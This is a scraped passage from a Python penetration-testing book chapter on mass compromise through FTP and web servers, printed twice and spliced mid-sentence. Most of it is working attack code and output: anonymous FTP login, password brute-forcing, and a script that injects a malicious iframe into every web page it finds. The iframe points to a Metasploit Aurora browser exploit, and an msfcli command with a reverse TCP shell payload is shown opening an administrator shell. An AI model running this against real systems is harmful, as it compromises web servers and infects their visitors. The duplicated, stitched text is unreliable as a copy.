You are on page 1of 9

Searching for Web Pages on the FTP Server

With credentials on the FTP server, we must now test if the server also provides
web access. In order to test this, we will first list the contents of the FTP
server�s
directory and search for default web pages. The function returnDefault() takes
an FTP connection as the input and returns an array of default pages it finds.
It does this by issuing the command NLST, which lists the directory contents.
The function checks each file returned by NLST against default web page file
names. It also appends any discovered default pages to an array called retList.
After completing the iteration of these files, the function returns this array.
import ftplib
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print '[-] Could not list directory contents.'
print '[-] Skipping To Next Target.'
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print '[+] Found default page: ' + fileName
retList.append(fileName)
return retList
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
60 CHAPTER 2: Penetration Testing with Python
ftp.login(userName, passWord)
returnDefault(ftp)
Looking at the vulnerable FTP server, we see it has three webpages in the base
directory. Great! We�ll know move on to infecting these pages with our client
side attack vector.
attacker# python defaultPages.py
[+] Found default page: index.html
[+] Found default page: index.php
[+] Found default page: testmysql.php
Adding a Malicious Inject to Web Pages
Now that we have found web page files, we must infect them with a malicious
redirect. We will use the Metasploit framework in order to quickly create a
malicious server and page hosted at http://10.10.10.112:8080/exploit. Notice
we choose the exploit ms10_002_aurora, the very same exploit used during
Operation Aurora against Google. The page at 10.10.10.112:8080/exploit will
exploit redirected victims, which will provide a call back to our command and
control server.
attacker# msfcli exploit/windows/browser/ms10_002_aurora
LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
[*] Please wait while we load the module tree...
<�SNIPPED�>
LHOST => 10.10.10.112
SRVHOST => 10.10.10.112
URIPATH => /exploit
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.10.10.112
LPORT => 443
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >
Any vulnerable client that connects to our server at http://10.10.10.112:8080/
exploit will now fall prey to our exploit. If it succeeds, it will create a reverse
TCP shell and grant us access to the Windows command prompt on the
Mass Compromise by Bridging FTP and Web 61
infected client. From the command shell, we can now execute commands as
the administrator of the infected victim.
msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer "Aurora"
Memory Corruption to client 10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->
10.10.10.107:49181) at 2012-06-24 10:05:10 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
Next, we must add a redirect from the benign infected servers to our malicious
exploit server. To do this, we can download the default pages found on
the benign server, inject an iframe, and upload the malicious pages back to
the benign server. Look at the injectPage(). The function injectPage() takes an
FTP connection, a page name, and a redirect iframe string as the input. It then
downloads a temporary copy of that page. Next, it appends the iframe redirect
to our malicious server to that temporary file. Finally, the function uploads the
infected page back to the benign server.
import ftplib
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print '[+] Downloaded Page: ' + page
f.write(redirect)
f.close()
print '[+] Injected Malicious IFrame on: ' + page
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print '[+] Uploaded Injected Page: ' + page
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '<iframe src='+\
'"http://10.10.10.112:8080/exploit"></iframe>'
injectPage(ftp, 'index.html', redirect)
62 CHAPTER 2: Penetration Testing with Python
Running our code, we see it download the index.html page and inject it with
our malicious content.
attacker# python injectPage.py
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
Bringing the Entire Attack Together
We will wrap up our entire attack in the attack() function. The attack() function
takes a username, password, hostname, and redirect location as input. The
function first logs onto the FTP server with the credentials. Next, we have the
script search for default web pages. For each of these pages, the script downloads
a copy and adds a malicious redirection. The script then uploads the
infected page back to the FTP server, which will then infect any future victims
that visit that web server.
def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
Adding some option parsing, we wrap up the entire script. You�ll notice we first
try to gain anonymous access to the FTP server. If this fails, we then brute force
credentials and run our attack against the discovered credentials. While this
represents only a hundred lines of code, this attack fully replicates the original
attack vector of the k985ytv infection.
import ftplib
import optparse
import time
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'me@your.com')
print '\n[*] ' + str(hostname) \
+ ' FTP Anonymous Logon Succeeded.'
ftp.quit()
return True
Mass Compromise by Bridging FTP and Web 63
except Exception, e:
print '\n[-] ' + str(hostname) +\
' FTP Anonymous Logon Failed.'
return False
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print '[+] Trying: ' + userName + '/' + passWord
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print '\n[*] ' + str(hostname) +\
' FTP Logon Succeeded: '+userName+'/'+passWord
ftp.quit()
return (userName, passWord)
except Exception, e:
pass
print '\n[-] Could not brute force FTP credentials.'
return (None, None)
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print '[-] Could not list directory contents.'
print '[-] Skipping To Next Target.'
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print '[+] Found default page: ' + fileName
retList.append(fileName)
return retList
def injectPage(ftp, page, redirect):
64 CHAPTER 2: Penetration Testing with Python
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print '[+] Downloaded Page: ' + page
f.write(redirect)
f.close()
print '[+] Injected Malicious IFrame on: ' + page
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print '[+] Uploaded Injected Page: ' + page
def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
def main():
parser = optparse.OptionParser('usage%prog '+\
'-H <target host[s]> -r <redirect page>'+\
'[-f <userpass file>]')
parser.add_option('-H', dest='tgtHosts', \
type='string', help='specify target host')
parser.add_option('-f', dest='passwdFile', \
type='string', help='specify user/password file')
parser.add_option('-r', dest='redirect', \
type='string', help='specify a redirection page')
(options, args) = parser.parse_args()
tgtHosts = str(options.tgtHosts).split(', ')
passwdFile = options.passwdFile
redirect = options.redirect
if tgtHosts == None or redirect == None:
print parser.usage
exit(0)
for tgtHost in tgtHosts:
username = None
password = None
if anonLogin(tgtHost) == True:
username = 'anonymous'
password = 'me@your.com'
print '[+] Using Anonymous Creds to attack'
Mass Compromise by Bridging FTP and Web 65
attack(username, password, tgtHost, redirect)
elif passwdFile != None:
(username, password) =\
bruteLogin(tgtHost, passwdFile)
if password != None:
print'[+] Using Creds: ' +\
username + '/' + password + ' to attack'
attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
main()
Running our script against a vulnerable FTP server, we see it brute attempt
anonymous logon and fail, enumerate the password guest/guest, and then
download and inject every page in the base directory.
attacker# python massCompromise.py -H 192.168.95.179 -r '<iframe src="
http://10.10.10.112:8080/exploit"></iframe>' -f userpass.txt
[-] 192.168.95.179 FTP Anonymous Logon Failed.
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
[+] Found default page: index.html
[+] Found default page: index.php
[+] Found default page: testmysql.php
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
[+] Downloaded Page: index.php
[+] Injected Malicious IFrame on: index.php
[+] Uploaded Injected Page: index.php
[+] Downloaded Page: testmysql.php
[+] Injected Malicious IFrame on: testmysql.php
[+] Uploaded Injected Page: testmysql.php
We ensure our client side attack vector is running and wait for a victim to connect
the now infected webserverSearching for Web Pages on the FTP Server
With credentials on the FTP server, we must now test if the server also provides
web access. In order to test this, we will first list the contents of the FTP
server�s
directory and search for default web pages. The function returnDefault() takes
an FTP connection as the input and returns an array of default pages it finds.
It does this by issuing the command NLST, which lists the directory contents.
The function checks each file returned by NLST against default web page file
names. It also appends any discovered default pages to an array called retList.
After completing the iteration of these files, the function returns this array.
import ftplib
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print '[-] Could not list directory contents.'
print '[-] Skipping To Next Target.'
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print '[+] Found default page: ' + fileName
retList.append(fileName)
return retList
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
60 CHAPTER 2: Penetration Testing with Python
ftp.login(userName, passWord)
returnDefault(ftp)
Looking at the vulnerable FTP server, we see it has three webpages in the base
directory. Great! We�ll know move on to infecting these pages with our client
side attack vector.
attacker# python defaultPages.py
[+] Found default page: index.html
[+] Found default page: index.php
[+] Found default page: testmysql.php
Adding a Malicious Inject to Web Pages
Now that we have found web page files, we must infect them with a malicious
redirect. We will use the Metasploit framework in order to quickly create a
malicious server and page hosted at http://10.10.10.112:8080/exploit. Notice
we choose the exploit ms10_002_aurora, the very same exploit used during
Operation Aurora against Google. The page at 10.10.10.112:8080/exploit will
exploit redirected victims, which will provide a call back to our command and
control server.
attacker# msfcli exploit/windows/browser/ms10_002_aurora
LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
[*] Please wait while we load the module tree...
<�SNIPPED�>
LHOST => 10.10.10.112
SRVHOST => 10.10.10.112
URIPATH => /exploit
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.10.10.112
LPORT => 443
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >
Any vulnerable client that connects to our server at http://10.10.10.112:8080/
exploit will now fall prey to our exploit. If it succeeds, it will create a reverse
TCP shell and grant us access to the Windows command prompt on the
Mass Compromise by Bridging FTP and Web 61
infected client. From the command shell, we can now execute commands as
the administrator of the infected victim.
msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer "Aurora"
Memory Corruption to client 10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->
10.10.10.107:49181) at 2012-06-24 10:05:10 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
Next, we must add a redirect from the benign infected servers to our malicious
exploit server. To do this, we can download the default pages found on
the benign server, inject an iframe, and upload the malicious pages back to
the benign server. Look at the injectPage(). The function injectPage() takes an
FTP connection, a page name, and a redirect iframe string as the input. It then
downloads a temporary copy of that page. Next, it appends the iframe redirect
to our malicious server to that temporary file. Finally, the function uploads the
infected page back to the benign server.
import ftplib
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print '[+] Downloaded Page: ' + page
f.write(redirect)
f.close()
print '[+] Injected Malicious IFrame on: ' + page
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print '[+] Uploaded Injected Page: ' + page
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '<iframe src='+\
'"http://10.10.10.112:8080/exploit"></iframe>'
injectPage(ftp, 'index.html', redirect)
62 CHAPTER 2: Penetration Testing with Python
Running our code, we see it download the index.html page and inject it with
our malicious content.
attacker# python injectPage.py
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
Bringing the Entire Attack Together
We will wrap up our entire attack in the attack() function. The attack() function
takes a username, password, hostname, and redirect location as input. The
function first logs onto the FTP server with the credentials. Next, we have the
script search for default web pages. For each of these pages, the script downloads
a copy and adds a malicious redirection. The script then uploads the
infected page back to the FTP server, which will then infect any future victims
that visit that web server.
def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
Adding some option parsing, we wrap up the entire script. You�ll notice we first
try to gain anonymous access to the FTP server. If this fails, we then brute force
credentials and run our attack against the discovered credentials. While this
represents only a hundred lines of code, this attack fully replicates the original
attack vector of the k985ytv infection.
import ftplib
import optparse
import time
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'me@your.com')
print '\n[*] ' + str(hostname) \
+ ' FTP Anonymous Logon Succeeded.'
ftp.quit()
return True
Mass Compromise by Bridging FTP and Web 63
except Exception, e:
print '\n[-] ' + str(hostname) +\
' FTP Anonymous Logon Failed.'
return False
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print '[+] Trying: ' + userName + '/' + passWord
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print '\n[*] ' + str(hostname) +\
' FTP Logon Succeeded: '+userName+'/'+passWord
ftp.quit()
return (userName, passWord)
except Exception, e:
pass
print '\n[-] Could not brute force FTP credentials.'
return (None, None)
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print '[-] Could not list directory contents.'
print '[-] Skipping To Next Target.'
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print '[+] Found default page: ' + fileName
retList.append(fileName)
return retList
def injectPage(ftp, page, redirect):
64 CHAPTER 2: Penetration Testing with Python
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print '[+] Downloaded Page: ' + page
f.write(redirect)
f.close()
print '[+] Injected Malicious IFrame on: ' + page
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print '[+] Uploaded Injected Page: ' + page
def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
def main():
parser = optparse.OptionParser('usage%prog '+\
'-H <target host[s]> -r <redirect page>'+\
'[-f <userpass file>]')
parser.add_option('-H', dest='tgtHosts', \
type='string', help='specify target host')
parser.add_option('-f', dest='passwdFile', \
type='string', help='specify user/password file')
parser.add_option('-r', dest='redirect', \
type='string', help='specify a redirection page')
(options, args) = parser.parse_args()
tgtHosts = str(options.tgtHosts).split(', ')
passwdFile = options.passwdFile
redirect = options.redirect
if tgtHosts == None or redirect == None:
print parser.usage
exit(0)
for tgtHost in tgtHosts:
username = None
password = None
if anonLogin(tgtHost) == True:
username = 'anonymous'
password = 'me@your.com'
print '[+] Using Anonymous Creds to attack'
Mass Compromise by Bridging FTP and Web 65
attack(username, password, tgtHost, redirect)
elif passwdFile != None:
(username, password) =\
bruteLogin(tgtHost, passwdFile)
if password != None:
print'[+] Using Creds: ' +\
username + '/' + password + ' to attack'
attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
main()
Running our script against a vulnerable FTP server, we see it brute attempt
anonymous logon and fail, enumerate the password guest/guest, and then
download and inject every page in the base directory.
attacker# python massCompromise.py -H 192.168.95.179 -r '<iframe src="
http://10.10.10.112:8080/exploit"></iframe>' -f userpass.txt
[-] 192.168.95.179 FTP Anonymous Logon Failed.
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
[+] Found default page: index.html
[+] Found default page: index.php
[+] Found default page: testmysql.php
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
[+] Downloaded Page: index.php
[+] Injected Malicious IFrame on: index.php
[+] Uploaded Injected Page: index.php
[+] Downloaded Page: testmysql.php
[+] Injected Malicious IFrame on: testmysql.php
[+] Uploaded Injected Page: testmysql.php
We ensure our client side attack vector is running and wait for a victim to connect
the now infected webserver

You might also like